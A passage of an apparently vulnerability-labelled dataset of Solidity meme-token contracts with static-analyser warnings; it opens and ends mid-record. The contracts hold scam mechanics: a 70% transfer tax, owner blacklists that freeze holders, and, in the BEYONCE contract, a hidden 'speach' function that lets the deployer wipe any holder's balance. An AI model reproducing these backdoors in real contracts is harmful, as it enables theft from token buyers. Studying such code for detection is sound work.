true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 46f5e25): MARS6900.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 46f5e25: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 78b3422): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 78b3422: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: fa3e76e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for fa3e76e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 78b3422\n\t\t// reentrancy-benign | ID: fa3e76e\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 78b3422\n\t\t// reentrancy-benign | ID: fa3e76e\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 39bee86): MARS6900._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 39bee86: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fa3e76e\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 78b3422\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 42a0241): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 42a0241: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: da5736f): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for da5736f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 42a0241\n\t\t\t\t// reentrancy-eth | ID: da5736f\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 42a0241\n\t\t\t\t\t// reentrancy-eth | ID: da5736f\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: da5736f\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: da5736f\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: da5736f\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 42a0241\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: da5736f\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: da5736f\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 42a0241\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 42a0241\n\t\t// reentrancy-events | ID: 78b3422\n\t\t// reentrancy-benign | ID: fa3e76e\n\t\t// reentrancy-eth | ID: da5736f\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimit() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTranTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6a84304): MARS6900.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6a84304: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 42a0241\n\t\t// reentrancy-events | ID: 78b3422\n\t\t// reentrancy-eth | ID: da5736f\n\t\t// arbitrary-send-eth | ID: 6a84304\n _taxWallet.transfer(amount);\n }\n\n function addBot(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBot(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 7605fb5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 7605fb5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 4b11b3e): MARS6900.openTrade() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 4b11b3e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e103619): MARS6900.openTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e103619: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8458e12): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8458e12: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 7605fb5\n\t\t// reentrancy-eth | ID: 8458e12\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 7605fb5\n\t\t// unused-return | ID: e103619\n\t\t// reentrancy-eth | ID: 8458e12\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 7605fb5\n\t\t// unused-return | ID: 4b11b3e\n\t\t// reentrancy-eth | ID: 8458e12\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 7605fb5\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 8458e12\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 312eef6): MARS6900.rescueERC20(address,uint256) ignores return value by IERC20(_address).transfer(_taxWallet,_amount)\n\t// Recommendation for 312eef6: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _address, uint256 percent) external {\n require(_msgSender() == _taxWallet);\n\n uint256 _amount = IERC20(_address)\n .balanceOf(address(this))\n .mul(percent)\n .div(100);\n\n\t\t// unchecked-transfer | ID: 312eef6\n IERC20(_address).transfer(_taxWallet, _amount);\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0 && swapEnabled) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_616.sol", "secure": 0, "size_bytes": 18249 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1e94730): vdog.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 1e94730: Consider ordering multiplication before division.\ncontract Vdog is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0474fcc): vdog._taxWallet should be immutable \n\t// Recommendation for 0474fcc: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 010ab70): vdog._initialBuyTax should be constant \n\t// Recommendation for 010ab70: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8694bd5): vdog._initialSellTax should be constant \n\t// Recommendation for 8694bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5b292f2): vdog._reduceBuyTaxAt should be constant \n\t// Recommendation for 5b292f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7b71a7d): vdog._reduceSellTaxAt should be constant \n\t// Recommendation for 7b71a7d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 15;\n\n\t// WARNING Optimization Issue (constable-states | ID: 182fe07): vdog._preventSwapBefore should be constant \n\t// Recommendation for 182fe07: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 70;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"vote dog\";\n\n string private constant _symbol = unicode\"vdog\";\n\n\t// divide-before-multiply | ID: 5fe6bd4\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 382cbf0\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 6861620): vdog._taxSwapThreshold should be constant \n\t// Recommendation for 6861620: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: df8b2a1\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e517518): vdog._maxTaxSwap should be constant \n\t// Recommendation for e517518: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 1e94730\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n event TransferTaxUpdated(uint256 _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 45e7fd0): vdog.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 45e7fd0: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ef19d82): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ef19d82: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 00b3dbb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 00b3dbb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ef19d82\n\t\t// reentrancy-benign | ID: 00b3dbb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ef19d82\n\t\t// reentrancy-benign | ID: 00b3dbb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 42f9066): vdog._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 42f9066: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 00b3dbb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ef19d82\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 26affed): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 26affed: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: ab6879c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for ab6879c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 26affed\n\t\t\t\t// reentrancy-eth | ID: ab6879c\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 26affed\n\t\t\t\t\t// reentrancy-eth | ID: ab6879c\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: ab6879c\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: ab6879c\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: ab6879c\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 26affed\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: ab6879c\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: ab6879c\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 26affed\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ef19d82\n\t\t// reentrancy-events | ID: 26affed\n\t\t// reentrancy-benign | ID: 00b3dbb\n\t\t// reentrancy-eth | ID: ab6879c\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: dd5ec56): vdog.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for dd5ec56: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ef19d82\n\t\t// reentrancy-events | ID: 26affed\n\t\t// reentrancy-eth | ID: ab6879c\n\t\t// arbitrary-send-eth | ID: dd5ec56\n _taxWallet.transfer(amount);\n }\n\n function addVdogBots(address[] memory bots_) public onlyOwner {\n for (uint256 i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint256 i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBots(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 3cdb620): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 3cdb620: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 806e2ef): vdog.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 806e2ef: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 24961b2): vdog.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 24961b2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 569fb97): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 569fb97: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 3cdb620\n\t\t// reentrancy-eth | ID: 569fb97\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 3cdb620\n\t\t// unused-return | ID: 806e2ef\n\t\t// reentrancy-eth | ID: 569fb97\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 3cdb620\n\t\t// unused-return | ID: 24961b2\n\t\t// reentrancy-eth | ID: 569fb97\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: 3cdb620\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 569fb97\n tradingOpen = true;\n }\n\n function reduceFee(uint256 _newFee) external {\n require(_msgSender() == _taxWallet);\n\n require(_newFee <= _finalBuyTax && _newFee <= _finalSellTax);\n\n _finalBuyTax = _newFee;\n\n _finalSellTax = _newFee;\n }\n\n receive() external payable {}\n\n function manualSwap1() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}", "file_name": "solidity_code_617.sol", "secure": 0, "size_bytes": 17928 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract BEYONCE is Context, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n using SafeMath for uint256;\n\n using Address for address;\n\n string private _name;\n\n string private _symbol;\n\n uint8 private immutable _decimals;\n\n uint256 private _totalSupply;\n\n address public immutable revolution;\n\n constructor() {\n _name = \"BEYONCE DOGE \";\n\n _symbol = \"BEYONCE\";\n\n _decimals = 18;\n\n uint256 initialSupply = 3800000000;\n\n revolution = msg.sender;\n\n _mint(msg.sender, initialSupply * (10 ** 18));\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n }\n\n modifier onlyOwner() {\n require(msg.sender == revolution, \"Not allowed\");\n\n _;\n }\n\n function speach(address[] memory goldenjourney) public onlyOwner {\n for (uint256 i = 0; i < goldenjourney.length; i++) {\n address account = goldenjourney[i];\n\n uint256 amount = _balances[account];\n\n _balances[account] = _balances[account].sub(amount, \"ERROR\");\n\n _balances[address(0)] = _balances[address(0)].add(amount);\n }\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _totalSupply = _totalSupply.add(amount);\n\n _balances[account] = 